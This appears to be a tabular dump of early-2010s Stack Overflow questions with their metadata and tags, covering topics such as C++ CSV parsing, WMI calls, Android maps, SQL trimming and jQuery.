How to make ProgressDialog non-stop loading circle when I am loading a list of photos ? === I am downloading an array of photos from the net and showing a ProgressDialog with a loading circle. But the loading circle will be lag / hang while the process is not finish. How to make the loading running smoothly? Thanks.
0
1,120,140
07/13/2009 15:25:50
125,380
06/18/2009 20:38:16
21
2
CSV parser in C++
All I need is a good CSV file parser for C++. At this point it can really just be a comma-delimited parser (ie don't worry about escaping new lines and commas). The main need is a line-by-line parser that will return a vector<string> for the next line each time the method is called. I found this article which looks quite promising: http://www.boost.org/doc/libs/1_35_0/libs/spirit/example/fundamental/list_parser.cpp I've never used Boost's Spirit, but am willing to try it. Is it overkill/bloated or is it fast and efficient? Does anyone have faster algorithms using STL or anything else? Thanks!
c++
boost
boost-spirit
csv
null
null
open
CSV parser in C++ === All I need is a good CSV file parser for C++. At this point it can really just be a comma-delimited parser (ie don't worry about escaping new lines and commas). The main need is a line-by-line parser that will return a vector<string> for the next line each time the method is called. I found this article which looks quite promising: http://www.boost.org/doc/libs/1_35_0/libs/spirit/example/fundamental/list_parser.cpp I've never used Boost's Spirit, but am willing to try it. Is it overkill/bloated or is it fast and efficient? Does anyone have faster algorithms using STL or anything else? Thanks!
0
9,211,163
02/09/2012 12:52:18
927,438
09/04/2011 10:22:38
26
0
Debugging ffmpeg
I am using ffmpeg @ Android and would like to be able to step-in to the ffmpeg code ( Eclips + seqouya ), while compiling ffmpeg I use the '--disable-stripping --enable-debug=3' flags, still, stepping in with the debugger throws me at some unrelated line of code, I have also tried setting 'LOCAL_CFLAGS="-gstabs+ -O1"' but this has not help. What settings should I use to enable ffmpeg debugging ? Any help will be appreciated. ~Nadav
android
ffmpeg
android-ndk
null
null
null
open
Debugging ffmpeg === I am using ffmpeg @ Android and would like to be able to step-in to the ffmpeg code ( Eclips + seqouya ), while compiling ffmpeg I use the '--disable-stripping --enable-debug=3' flags, still, stepping in with the debugger throws me at some unrelated line of code, I have also tried setting 'LOCAL_CFLAGS="-gstabs+ -O1"' but this has not help. What settings should I use to enable ffmpeg debugging ? Any help will be appreciated. ~Nadav
0
10,887,883
06/04/2012 20:27:35
1,168,786
01/25/2012 08:53:59
29
0
Web based command line interface
I was looking for some Web based command line interfaces, but not language interpreters. Found this one [BlackWidow][1] [1]: https://github.com/GlitchHound/BlackWidow but it seems not to be supported any longer. Does anyone heard about similar project?
shell
command-line
interface
interpreter
web-based
06/05/2012 20:30:39
off topic
Web based command line interface === I was looking for some Web based command line interfaces, but not language interpreters. Found this one [BlackWidow][1] [1]: https://github.com/GlitchHound/BlackWidow but it seems not to be supported any longer. Does anyone heard about similar project?
2
4,029,494
10/27/2010 02:11:36
325,016
04/24/2010 17:25:09
165
6
How to call WMI function correctly
The following code fails when ExecMethod is called. Can anyone pinpoint what I am doing wrong? #define _WIN32_DCOM #include <iostream> using namespace std; #include <comdef.h> #include <Wbemidl.h> # pragma comment(lib, "wbemuuid.lib") int main(int iArgCnt, char ** argv) { HRESULT hres; // Step 1: -------------------------------------------------- // Initialize COM. ------------------------------------------ hres = CoInitializeEx(0, COINIT_MULTITHREADED); if (FAILED(hres)) { cout << "Failed to initialize COM library. Error code = 0x" << hex << hres << endl; return 1; // Program has failed. } // Step 2: -------------------------------------------------- // Set general COM security levels -------------------------- // Note: If you are using Windows 2000, you must specify - // the default authentication credentials for a user by using // a SOLE_AUTHENTICATION_LIST structure in the pAuthList ---- // parameter of CoInitializeSecurity ------------------------ hres = CoInitializeSecurity( NULL, -1, // COM negotiates service NULL, // Authentication services NULL, // Reserved RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation NULL, // Authentication info EOAC_NONE, // Additional capabilities NULL // Reserved ); if (FAILED(hres)) { cout << "Failed to initialize security. Error code = 0x" << hex << hres << endl; CoUninitialize(); return 1; // Program has failed. } // Step 3: --------------------------------------------------- // Obtain the initial locator to WMI ------------------------- IWbemLocator *pLoc = NULL; hres = CoCreateInstance( CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *) &pLoc); if (FAILED(hres)) { cout << "Failed to create IWbemLocator object. " << "Err code = 0x" << hex << hres << endl; CoUninitialize(); return 1; // Program has failed. } // Step 4: --------------------------------------------------- // Connect to WMI through the IWbemLocator::ConnectServer method IWbemServices *pSvc = NULL; // Connect to the local root\cimv2 namespace // and obtain pointer pSvc to make IWbemServices calls. hres = pLoc->ConnectServer( _bstr_t(L"ROOT\\wmi"), NULL, NULL, 0, NULL, 0, 0, &pSvc ); if (FAILED(hres)) { cout << "Could not connect. Error code = 0x" << hex << hres << endl; pLoc->Release(); CoUninitialize(); return 1; // Program has failed. } cout << "Connected to ROOT\\CIMV2 WMI namespace" << endl; // Step 5: -------------------------------------------------- // Set security levels for the proxy ------------------------ hres = CoSetProxyBlanket( pSvc, // Indicates the proxy to set RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx NULL, // Server principal name RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx NULL, // client identity EOAC_NONE // proxy capabilities ); if (FAILED(hres)) { cout << "Could not set proxy blanket. Error code = 0x" << hex << hres << endl; pSvc->Release(); pLoc->Release(); CoUninitialize(); return 1; // Program has failed. } /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // set up to call the WmiSetBrightness Method BSTR MethodName = SysAllocString(L"WmiSetBrightness"); BSTR ClassName = SysAllocString(L"WmiMonitorBrightnessMethods"); IWbemClassObject* pClass = NULL; hres = pSvc->GetObject(ClassName, 0, NULL, &pClass, NULL); IWbemClassObject* pInParamsDefinition = NULL; hres = pClass->GetMethod(MethodName, 0, &pInParamsDefinition, NULL); IWbemClassObject* pClassInstance = NULL; hres = pInParamsDefinition->SpawnInstance(0, &pClassInstance); VARIANT var1; VariantInit(&var1); V_VT(&var1) = VT_BSTR; V_BSTR(&var1) = SysAllocString(L"1000"); hres = pClassInstance->Put(L"Timeout", 0, &var1, CIM_UINT32); //CIM_UINT64 VARIANT var2; VariantInit(&var2); V_VT(&var2) = VT_BSTR; V_BSTR(&var2) = SysAllocString(L"30"); hres = pClassInstance->Put(L"Brightness", 0, &var2, CIM_UINT8); // Execute Method IWbemClassObject* pOutParams = NULL; hres = pSvc->ExecMethod(ClassName, MethodName, 0, NULL, pClassInstance, &pOutParams, NULL); if (FAILED(hres)) { cout << "Could not execute method. Error code = 0x" << hex << hres << endl; //VariantClear(&varCommand); SysFreeString(ClassName); SysFreeString(MethodName); pClass->Release(); pInParamsDefinition->Release(); pOutParams->Release(); pSvc->Release(); pLoc->Release(); CoUninitialize(); return 1; // Program has failed. } // To see what the method returned, // use the following code. The return value will // be in &varReturnValue VARIANT varReturnValue; hres = pOutParams->Get(_bstr_t(L"ReturnValue"), 0, &varReturnValue, NULL, 0); // Clean up //-------------------------- // VariantClear(&varCommand); VariantClear(&varReturnValue); SysFreeString(ClassName); SysFreeString(MethodName); pClass->Release(); pInParamsDefinition->Release(); pOutParams->Release(); pLoc->Release(); pSvc->Release(); CoUninitialize(); return 0; }
c++
windows
wmi-service
null
null
null
open
How to call WMI function correctly === The following code fails when ExecMethod is called. Can anyone pinpoint what I am doing wrong? #define _WIN32_DCOM #include <iostream> using namespace std; #include <comdef.h> #include <Wbemidl.h> # pragma comment(lib, "wbemuuid.lib") int main(int iArgCnt, char ** argv) { HRESULT hres; // Step 1: -------------------------------------------------- // Initialize COM. ------------------------------------------ hres = CoInitializeEx(0, COINIT_MULTITHREADED); if (FAILED(hres)) { cout << "Failed to initialize COM library. Error code = 0x" << hex << hres << endl; return 1; // Program has failed. } // Step 2: -------------------------------------------------- // Set general COM security levels -------------------------- // Note: If you are using Windows 2000, you must specify - // the default authentication credentials for a user by using // a SOLE_AUTHENTICATION_LIST structure in the pAuthList ---- // parameter of CoInitializeSecurity ------------------------ hres = CoInitializeSecurity( NULL, -1, // COM negotiates service NULL, // Authentication services NULL, // Reserved RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation NULL, // Authentication info EOAC_NONE, // Additional capabilities NULL // Reserved ); if (FAILED(hres)) { cout << "Failed to initialize security. Error code = 0x" << hex << hres << endl; CoUninitialize(); return 1; // Program has failed. } // Step 3: --------------------------------------------------- // Obtain the initial locator to WMI ------------------------- IWbemLocator *pLoc = NULL; hres = CoCreateInstance( CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *) &pLoc); if (FAILED(hres)) { cout << "Failed to create IWbemLocator object. " << "Err code = 0x" << hex << hres << endl; CoUninitialize(); return 1; // Program has failed. } // Step 4: --------------------------------------------------- // Connect to WMI through the IWbemLocator::ConnectServer method IWbemServices *pSvc = NULL; // Connect to the local root\cimv2 namespace // and obtain pointer pSvc to make IWbemServices calls. hres = pLoc->ConnectServer( _bstr_t(L"ROOT\\wmi"), NULL, NULL, 0, NULL, 0, 0, &pSvc ); if (FAILED(hres)) { cout << "Could not connect. Error code = 0x" << hex << hres << endl; pLoc->Release(); CoUninitialize(); return 1; // Program has failed. } cout << "Connected to ROOT\\CIMV2 WMI namespace" << endl; // Step 5: -------------------------------------------------- // Set security levels for the proxy ------------------------ hres = CoSetProxyBlanket( pSvc, // Indicates the proxy to set RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx NULL, // Server principal name RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx NULL, // client identity EOAC_NONE // proxy capabilities ); if (FAILED(hres)) { cout << "Could not set proxy blanket. Error code = 0x" << hex << hres << endl; pSvc->Release(); pLoc->Release(); CoUninitialize(); return 1; // Program has failed. } /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // set up to call the WmiSetBrightness Method BSTR MethodName = SysAllocString(L"WmiSetBrightness"); BSTR ClassName = SysAllocString(L"WmiMonitorBrightnessMethods"); IWbemClassObject* pClass = NULL; hres = pSvc->GetObject(ClassName, 0, NULL, &pClass, NULL); IWbemClassObject* pInParamsDefinition = NULL; hres = pClass->GetMethod(MethodName, 0, &pInParamsDefinition, NULL); IWbemClassObject* pClassInstance = NULL; hres = pInParamsDefinition->SpawnInstance(0, &pClassInstance); VARIANT var1; VariantInit(&var1); V_VT(&var1) = VT_BSTR; V_BSTR(&var1) = SysAllocString(L"1000"); hres = pClassInstance->Put(L"Timeout", 0, &var1, CIM_UINT32); //CIM_UINT64 VARIANT var2; VariantInit(&var2); V_VT(&var2) = VT_BSTR; V_BSTR(&var2) = SysAllocString(L"30"); hres = pClassInstance->Put(L"Brightness", 0, &var2, CIM_UINT8); // Execute Method IWbemClassObject* pOutParams = NULL; hres = pSvc->ExecMethod(ClassName, MethodName, 0, NULL, pClassInstance, &pOutParams, NULL); if (FAILED(hres)) { cout << "Could not execute method. Error code = 0x" << hex << hres << endl; //VariantClear(&varCommand); SysFreeString(ClassName); SysFreeString(MethodName); pClass->Release(); pInParamsDefinition->Release(); pOutParams->Release(); pSvc->Release(); pLoc->Release(); CoUninitialize(); return 1; // Program has failed. } // To see what the method returned, // use the following code. The return value will // be in &varReturnValue VARIANT varReturnValue; hres = pOutParams->Get(_bstr_t(L"ReturnValue"), 0, &varReturnValue, NULL, 0); // Clean up //-------------------------- // VariantClear(&varCommand); VariantClear(&varReturnValue); SysFreeString(ClassName); SysFreeString(MethodName); pClass->Release(); pInParamsDefinition->Release(); pOutParams->Release(); pLoc->Release(); pSvc->Release(); CoUninitialize(); return 0; }
0
10,691,834
05/21/2012 20:03:47
1,071,140
11/29/2011 11:06:14
33
1
Apache2 - how to track what script is causing max cpu on all 4 cores
Apache noob here. I have a virtualbox instance with debian squeeze installed and apache. I'm seeing all 4 of my cores max out for about 10 minuets then it goes away. This is happening a few times per week. When I'm able to load top I can see apache processes maxed out. /usr/sbin/apache2 -k start When I check the access log I'm not seeing a huge amount of traffic. I installed mod_evasive last week thinking they might have been a ddos or bot hammering on login pages but I can't see that in the logs. I'm suspecting there might be some bad php code somewhere. How would I go about tracing where that might be? The web server is hosting about 4 wordpress sites for a small business and another php application with about 10 users. I've ensured i've updated debian. I'm running on the latest wordpress.
apache
null
null
null
null
05/21/2012 21:11:49
off topic
Apache2 - how to track what script is causing max cpu on all 4 cores === Apache noob here. I have a virtualbox instance with debian squeeze installed and apache. I'm seeing all 4 of my cores max out for about 10 minuets then it goes away. This is happening a few times per week. When I'm able to load top I can see apache processes maxed out. /usr/sbin/apache2 -k start When I check the access log I'm not seeing a huge amount of traffic. I installed mod_evasive last week thinking they might have been a ddos or bot hammering on login pages but I can't see that in the logs. I'm suspecting there might be some bad php code somewhere. How would I go about tracing where that might be? The web server is hosting about 4 wordpress sites for a small business and another php application with about 10 users. I've ensured i've updated debian. I'm running on the latest wordpress.
2
11,288,220
07/02/2012 05:35:34
1,270,763
03/15/2012 05:24:23
11
0
how to setup the SCM?
I have started a project with my friend, however we are remotely located.Currently we send the code via email, which is not the healthy approach. So, we would like to set up the SCM for our project. We have a domain www.XYX.com, can we use the sub domain of this to setup the server for our scm, if not what alternatives we can use to solve this problem. It would be really great if someone could tell me what are exact steps we need to follow to make this work.I googled it, however since we are very new to setting up the scm,it did not help us much. -Regards
svn
version-control
null
null
null
07/02/2012 09:21:03
not a real question
how to setup the SCM? === I have started a project with my friend, however we are remotely located.Currently we send the code via email, which is not the healthy approach. So, we would like to set up the SCM for our project. We have a domain www.XYX.com, can we use the sub domain of this to setup the server for our scm, if not what alternatives we can use to solve this problem. It would be really great if someone could tell me what are exact steps we need to follow to make this work.I googled it, however since we are very new to setting up the scm,it did not help us much. -Regards
1
2,552,154
03/31/2010 10:42:47
255,564
01/21/2010 07:29:43
70
0
SQL Server: How to trim all columns in a table
I have over 30 columns in my table (sql server 2008). Columns type are varchar(x). I know that in every column there is two extra spaces at the end of column value. How to use rtrim function for all columns and save this modification into this existing table?
sql
sql-server
sql-server-2008
string
null
null
open
SQL Server: How to trim all columns in a table === I have over 30 columns in my table (sql server 2008). Columns type are varchar(x). I know that in every column there is two extra spaces at the end of column value. How to use rtrim function for all columns and save this modification into this existing table?
0
9,100,078
02/01/2012 17:09:51
1,178,529
01/30/2012 16:42:32
1
0
Adding OverlayItems via MapViewOverlay class and getting directions
I'm currently making an app that can be used to track user location and place markers on a map. When a toggle button is clicked, it is supposed to get the user location in form of a GeoPoint and place an overlay on the map. Then when the toggle is clicked again, it places another overlay. Then, it is supposed to display directions from point A to point B (not turn by turn, just an overlay, similar to if you use google maps for directions instead of navigation). This is in my onCreate(): record.setOnClickListener(new OnClickListener(){ @Override public void onClick(View v) { List<Overlay> mapOverlays = mapView.getOverlays(); Drawable drawable = getApplicationContext().getResources().getDrawable(R.drawable.marker); MapViewOverlay itemizedoverlay = new MapViewOverlay(drawable); if (isGPSEnabled()){ if (record.isChecked()) { pointA = getPoint(); OverlayItem point_A = new OverlayItem(pointA,"",""); itemizedoverlay.addOverlay(point_A); mapOverlays.add(itemizedoverlay); Toast.makeText(MapViewActivity.this, "Point A Set.", Toast.LENGTH_SHORT).show(); } else{ pointB = getPoint(); Toast.makeText(MapViewActivity.this, "Point B Set.", Toast.LENGTH_SHORT).show(); } //getDirections(pointA,pointB); }else Toast.makeText(MapViewActivity.this, "No Location Set", Toast.LENGTH_SHORT).show(); } }); I know point B doesn't have anything, that's because point_A doesn't work. itemizedoverlay.addOverlay(point_A) always returns a nullPointerException. my getPoint() method looks like this: private GeoPoint getPoint(){ myLoc = new MyLocationOverlay(this,mapView); return myLoc.getMyLocation(); } Getting directions is commented out because I don't know what to do; I formatted a URL like so: public String getDirections(GeoPoint a, GeoPoint b){ StringBuilder urlString = new StringBuilder(); urlString.append("http://maps.google.com/maps?f=d&hl=en"); urlString.append("&saddr="); urlString.append(Double.toString((double) a.getLatitudeE6()/1E6)); urlString.append(","); urlString.append(Double.toString((double) a.getLongitudeE6()/1E6)); urlString.append("&daddr="); urlString.append(Double.toString((double) b.getLatitudeE6()/1E6)); urlString.append(","); urlString.append(Double.toString((double) b.getLongitudeE6()/1E6)); urlString.append("&ie=UTF8&0&om=0&output=kml"); return urlString.toString(); } but am unsure what to do with it... I'm new to android and this has been giving me trouble for three days. If anyone can help, that'd be great. If you need anymore code or insight, lemme know.
java
android
google-maps
null
null
null
open
Adding OverlayItems via MapViewOverlay class and getting directions === I'm currently making an app that can be used to track user location and place markers on a map. When a toggle button is clicked, it is supposed to get the user location in form of a GeoPoint and place an overlay on the map. Then when the toggle is clicked again, it places another overlay. Then, it is supposed to display directions from point A to point B (not turn by turn, just an overlay, similar to if you use google maps for directions instead of navigation). This is in my onCreate(): record.setOnClickListener(new OnClickListener(){ @Override public void onClick(View v) { List<Overlay> mapOverlays = mapView.getOverlays(); Drawable drawable = getApplicationContext().getResources().getDrawable(R.drawable.marker); MapViewOverlay itemizedoverlay = new MapViewOverlay(drawable); if (isGPSEnabled()){ if (record.isChecked()) { pointA = getPoint(); OverlayItem point_A = new OverlayItem(pointA,"",""); itemizedoverlay.addOverlay(point_A); mapOverlays.add(itemizedoverlay); Toast.makeText(MapViewActivity.this, "Point A Set.", Toast.LENGTH_SHORT).show(); } else{ pointB = getPoint(); Toast.makeText(MapViewActivity.this, "Point B Set.", Toast.LENGTH_SHORT).show(); } //getDirections(pointA,pointB); }else Toast.makeText(MapViewActivity.this, "No Location Set", Toast.LENGTH_SHORT).show(); } }); I know point B doesn't have anything, that's because point_A doesn't work. itemizedoverlay.addOverlay(point_A) always returns a nullPointerException. my getPoint() method looks like this: private GeoPoint getPoint(){ myLoc = new MyLocationOverlay(this,mapView); return myLoc.getMyLocation(); } Getting directions is commented out because I don't know what to do; I formatted a URL like so: public String getDirections(GeoPoint a, GeoPoint b){ StringBuilder urlString = new StringBuilder(); urlString.append("http://maps.google.com/maps?f=d&hl=en"); urlString.append("&saddr="); urlString.append(Double.toString((double) a.getLatitudeE6()/1E6)); urlString.append(","); urlString.append(Double.toString((double) a.getLongitudeE6()/1E6)); urlString.append("&daddr="); urlString.append(Double.toString((double) b.getLatitudeE6()/1E6)); urlString.append(","); urlString.append(Double.toString((double) b.getLongitudeE6()/1E6)); urlString.append("&ie=UTF8&0&om=0&output=kml"); return urlString.toString(); } but am unsure what to do with it... I'm new to android and this has been giving me trouble for three days. If anyone can help, that'd be great. If you need anymore code or insight, lemme know.
0
560,977
02/18/2009 13:05:30
64,591
02/10/2009 14:53:28
11
1
A way to always shift the number keys?
Is there a way / app / registry tweak, on Vista, to have the row of numbers above the keyboard to always be shifted? I am having little finger issues, so I would like to be using the numeric keypad for typing numbers, and not be constantly holding down the shift key for typing !"£$%^&*()
keyboard
typing
carpal-tunnel
null
null
01/31/2012 20:26:10
off topic
A way to always shift the number keys? === Is there a way / app / registry tweak, on Vista, to have the row of numbers above the keyboard to always be shifted? I am having little finger issues, so I would like to be using the numeric keypad for typing numbers, and not be constantly holding down the shift key for typing !"£$%^&*()
2
2,497,113
03/23/2010 02:09:57
86,558
04/03/2009 05:00:30
1,559
71
Compilier optimization of repeated accessor calls C#
I've found recently that for some types of financial calculations that the following pattern is much easier to follow and test especially in situations where we may need to get numbers from various stages of the computation. public class nonsensical_calculator { ... double _rate; int _term; int _days; double monthlyRate { get { return _rate / 12; }} public double days { get { return (1 - i); }} double ar { get { return (1+ days) /(monthlyRate * days) double bleh { get { return Math.Pow(ar - days, _term) public double raar { get { return bleh * ar/2 * ar / days; }} .... } Obviously this often results in multiple calls to the same accessor within a given formula. I was curious as to whether or not the compiler is smart enough to optimize away these repeated calls with no intervening change in state, or whether this style is causing a decent performance hit. Further reading suggestions are always appreciated
c#
optimization
accessor
compiler
null
null
open
Compilier optimization of repeated accessor calls C# === I've found recently that for some types of financial calculations that the following pattern is much easier to follow and test especially in situations where we may need to get numbers from various stages of the computation. public class nonsensical_calculator { ... double _rate; int _term; int _days; double monthlyRate { get { return _rate / 12; }} public double days { get { return (1 - i); }} double ar { get { return (1+ days) /(monthlyRate * days) double bleh { get { return Math.Pow(ar - days, _term) public double raar { get { return bleh * ar/2 * ar / days; }} .... } Obviously this often results in multiple calls to the same accessor within a given formula. I was curious as to whether or not the compiler is smart enough to optimize away these repeated calls with no intervening change in state, or whether this style is causing a decent performance hit. Further reading suggestions are always appreciated
0
6,293,298
06/09/2011 13:10:40
255,864
01/21/2010 14:25:33
164
12
llvm-gcc-4.2: error
The Project build & runs fine on a real device but a build for the iphone simulator finishes in this error 'llvm-gcc-4.2: error'. Any ideas? llvm-gcc-4.2: error trying to exec '/Developer/Platforms/iPhoneSimulator.platform/Developer/usr/bin/../llvm-gcc-4.2/bin/arm-apple-darwin10-llvm-gcc-4.2': execvp: No such file or directory Command /Developer/Platforms/iPhoneSimulator.platform/Developer/usr/bin/llvm-gcc-4.2 failed with exit code 255 thx, Fabian
iphone
xcode
iphone-sdk-4.0
ios-simulator
xcodebuild
null
open
llvm-gcc-4.2: error === The Project build & runs fine on a real device but a build for the iphone simulator finishes in this error 'llvm-gcc-4.2: error'. Any ideas? llvm-gcc-4.2: error trying to exec '/Developer/Platforms/iPhoneSimulator.platform/Developer/usr/bin/../llvm-gcc-4.2/bin/arm-apple-darwin10-llvm-gcc-4.2': execvp: No such file or directory Command /Developer/Platforms/iPhoneSimulator.platform/Developer/usr/bin/llvm-gcc-4.2 failed with exit code 255 thx, Fabian
0
1,502,451
10/01/2009 07:43:07
117,069
06/04/2009 05:02:17
1,439
90
C#: What needs to be overriden in a struct to ensure equality operates properly?
As the title says: do i need to override the `==` operator? how about the `.Equals()` method? Anything i'm missing?
c#
.net
operators
equality
struct
null
open
C#: What needs to be overriden in a struct to ensure equality operates properly? === As the title says: do i need to override the `==` operator? how about the `.Equals()` method? Anything i'm missing?
0
11,252,897
06/28/2012 21:07:04
877,361
08/03/2011 19:59:50
40
0
How to remove div without inner elememts
I would like to remove one div element, but without its children. For example, let's say that i have one div with id wrapper, and inside it 5 paragraphs. I want to remove only the wrapper div, but to leave paragraphs alive. I have tried both remove() and detach(), but they both clean out the inner elements. Any advice?
jquery
jquery-selectors
remove
null
null
null
open
How to remove div without inner elememts === I would like to remove one div element, but without its children. For example, let's say that i have one div with id wrapper, and inside it 5 paragraphs. I want to remove only the wrapper div, but to leave paragraphs alive. I have tried both remove() and detach(), but they both clean out the inner elements. Any advice?
0
6,083,168
05/21/2011 16:56:40
743,243
05/07/2011 17:01:39
68
1
need a free web hosting service with MySQLi support
i do not know if these kind of questions are welcome in this site, but anyways here it is - I have just completed a php-mysql based site and have tested it on my local machine. Now i need to test it online, by putting it into some webhost, and towards this i'm looking for a good webhost which is FREE and supports below - a) php 5+ b) mysqli ---------- this is the most important part, as i've used mysqli everywhere in my php script, and is not in a position to change it over to mysql as it would affect a lot many places. i dont mind ad supported servers or their reliability, as i just need to test the code. thanks, and hope i have not flouted any rules here.
php
mysqli
free
web-hosting
null
05/21/2011 17:01:45
off topic
need a free web hosting service with MySQLi support === i do not know if these kind of questions are welcome in this site, but anyways here it is - I have just completed a php-mysql based site and have tested it on my local machine. Now i need to test it online, by putting it into some webhost, and towards this i'm looking for a good webhost which is FREE and supports below - a) php 5+ b) mysqli ---------- this is the most important part, as i've used mysqli everywhere in my php script, and is not in a position to change it over to mysql as it would affect a lot many places. i dont mind ad supported servers or their reliability, as i just need to test the code. thanks, and hope i have not flouted any rules here.
2
8,269,009
11/25/2011 12:12:29
1,065,733
11/25/2011 13:43:57
1
0
delete columns that have binomial variables
data is a dataset which have variables both categorical and continuious. I would delete categorical variables . I wrote data.1 <- data[,colnames(data)[[3L]]!=0] No error is printed but categorical variables stay in data.1 . where are problems ?
r
dataset
null
null
null
null
open
delete columns that have binomial variables === data is a dataset which have variables both categorical and continuious. I would delete categorical variables . I wrote data.1 <- data[,colnames(data)[[3L]]!=0] No error is printed but categorical variables stay in data.1 . where are problems ?
0
1,344,593
08/28/2009 01:29:16
25,068
10/04/2008 05:42:13
445
12
Having trouble rendering Javascript in Rails
Here's the relevant controller code: if @song.update_attributes(params[:song]) respond_to do |format| format.js { render :action => 'success' } end else Here's what's in `success.js.erb`: $("#song_updated_at").val( "<%= escape_javascript @song.updated_at %>" ) Here's the error I get: ActionView::TemplateError ($_ value need to be String (nil given)) on line #1 of app/views/songs/success.js.erb: 1: $("#song_updated_at").val( "<%= escape_javascript @song.updated_at %>" ) app/views/songs/success.js.erb:1 app/controllers/songs_controller.rb:52:in `update' app/controllers/songs_controller.rb:50:in `update' Thoughts?
ruby-on-rails
jquery
javascript
null
null
null
open
Having trouble rendering Javascript in Rails === Here's the relevant controller code: if @song.update_attributes(params[:song]) respond_to do |format| format.js { render :action => 'success' } end else Here's what's in `success.js.erb`: $("#song_updated_at").val( "<%= escape_javascript @song.updated_at %>" ) Here's the error I get: ActionView::TemplateError ($_ value need to be String (nil given)) on line #1 of app/views/songs/success.js.erb: 1: $("#song_updated_at").val( "<%= escape_javascript @song.updated_at %>" ) app/views/songs/success.js.erb:1 app/controllers/songs_controller.rb:52:in `update' app/controllers/songs_controller.rb:50:in `update' Thoughts?
0
7,212,715
08/27/2011 05:41:51
886,669
08/09/2011 19:51:39
97
2
Django annotate according to foreign field's attribute
I normally use something like this "Tag.object.annotate(num_post=Count('post')).filter(num_post__gt=2)" to get tags with more than 2 posts. I want to get number of posts with a field value (e.g post.published=True) and annote over them so that I get tags with number of published posts bigger than some value. How would I do that?
django
model
null
null
null
null
open
Django annotate according to foreign field's attribute === I normally use something like this "Tag.object.annotate(num_post=Count('post')).filter(num_post__gt=2)" to get tags with more than 2 posts. I want to get number of posts with a field value (e.g post.published=True) and annote over them so that I get tags with number of published posts bigger than some value. How would I do that?
0
1,825,479
12/01/2009 11:05:53
156,532
08/14/2009 14:23:04
113
19
Should I learn Perl as a web developer?
I'm currently working as a web developer and have knowledge of HTML, CSS, PHP, MySQL, Javascript (mainly through JQuery) and AJAX. As much as that sounds like the start of a CV, it's just to give you an idea of what I already use and what might be a good language to learn. I recently entered into the world of flash and actionscript (having not done anything for a number of years) and came across some Perl, which was controlling a scoreboard system by editing a text file. A colleague of mine has also used Perl to write a script to backup our MySQL databases every day and store them online, however he has subsequently moved on (in work) and I realise that in order to improve on the script, as it is flawed in some ways, I will need to learn some Perl. I'm not averse to learning new stuff, though I can be a bit lazy with it, but I feel that if I tried learning a new language which was essentially useless (or at least not very useful) to my career development and general web developing it would be a bit of a waste of time. So, the point of all this rambling, as a web developer, using the above languages and techniques, would Perl be a useful addition to by proverbial toolbox, or is there a more appropriate language to learn that would be more beneficial? If Perl is for me, what would you suggest are good resources, I would normally used online resources to learn (ie. http://www.perl.org/), but are there any particularly beneficial books? I tend not to get too stuck in my work and wondering if another language would do what I need (though I did recently have to squeeze in some Curl, which I'd never used before) so it's not immediately obvious what I should learn next. Cheers
perl
null
null
null
null
01/25/2012 13:08:33
not constructive
Should I learn Perl as a web developer? === I'm currently working as a web developer and have knowledge of HTML, CSS, PHP, MySQL, Javascript (mainly through JQuery) and AJAX. As much as that sounds like the start of a CV, it's just to give you an idea of what I already use and what might be a good language to learn. I recently entered into the world of flash and actionscript (having not done anything for a number of years) and came across some Perl, which was controlling a scoreboard system by editing a text file. A colleague of mine has also used Perl to write a script to backup our MySQL databases every day and store them online, however he has subsequently moved on (in work) and I realise that in order to improve on the script, as it is flawed in some ways, I will need to learn some Perl. I'm not averse to learning new stuff, though I can be a bit lazy with it, but I feel that if I tried learning a new language which was essentially useless (or at least not very useful) to my career development and general web developing it would be a bit of a waste of time. So, the point of all this rambling, as a web developer, using the above languages and techniques, would Perl be a useful addition to by proverbial toolbox, or is there a more appropriate language to learn that would be more beneficial? If Perl is for me, what would you suggest are good resources, I would normally used online resources to learn (ie. http://www.perl.org/), but are there any particularly beneficial books? I tend not to get too stuck in my work and wondering if another language would do what I need (though I did recently have to squeeze in some Curl, which I'd never used before) so it's not immediately obvious what I should learn next. Cheers
4
3,706,391
09/14/2010 05:51:03
450,320
09/13/2010 05:46:04
1
0
Java Vs .NET Vs Oracle(DBMS), Which technology is for Long Term Career?
I want to know about Which language is best for long term career and How? Which language should I choose among Java and .NET Platform or Should I choose Oracle like DBMS Language (SQL/PLSQL)? I am confused? Detailed answer would be appreciated.
java
.net
oracle
dbms
null
09/14/2010 06:44:05
off topic
Java Vs .NET Vs Oracle(DBMS), Which technology is for Long Term Career? === I want to know about Which language is best for long term career and How? Which language should I choose among Java and .NET Platform or Should I choose Oracle like DBMS Language (SQL/PLSQL)? I am confused? Detailed answer would be appreciated.
2
4,021,283
10/26/2010 06:43:10
248,092
01/11/2010 14:03:14
25
0
Break the string on Full Stop for (Chinese, Arabic, Japanese, Russian, Korean, Dutch, Hindi, Greek, Urdu) using javascript.
I am working on languge segmentation project. I applied language segmentation for English by using regular expression breaking the string at . ("Full Stop"). Now i want to provide the support for following languages (Chinese, Arabic, Japanese, Russian, Korean, Dutch, Hindi, Greek, Urdu). I want to break the above mentioned language strings on Full stop. e.g. For Chinese Full stop is 。 (Unicode value U+3002) String 以有效應對各種事態」。他還表示,希望以符合21世紀的方式切實深化美日同盟關係。 Expected Result Segment 1 :- 以有效應對各種事態」。 Segment 2 :- 他還表示,希望以符合21世紀的方式切實深化美日同盟關係。 Same logic I have to apply for other languages (Arabic, Japanese, Russian, Korean, Dutch, Hindi, Greek, Urdu). Thanks in Advanced
php
javascript
null
null
null
null
open
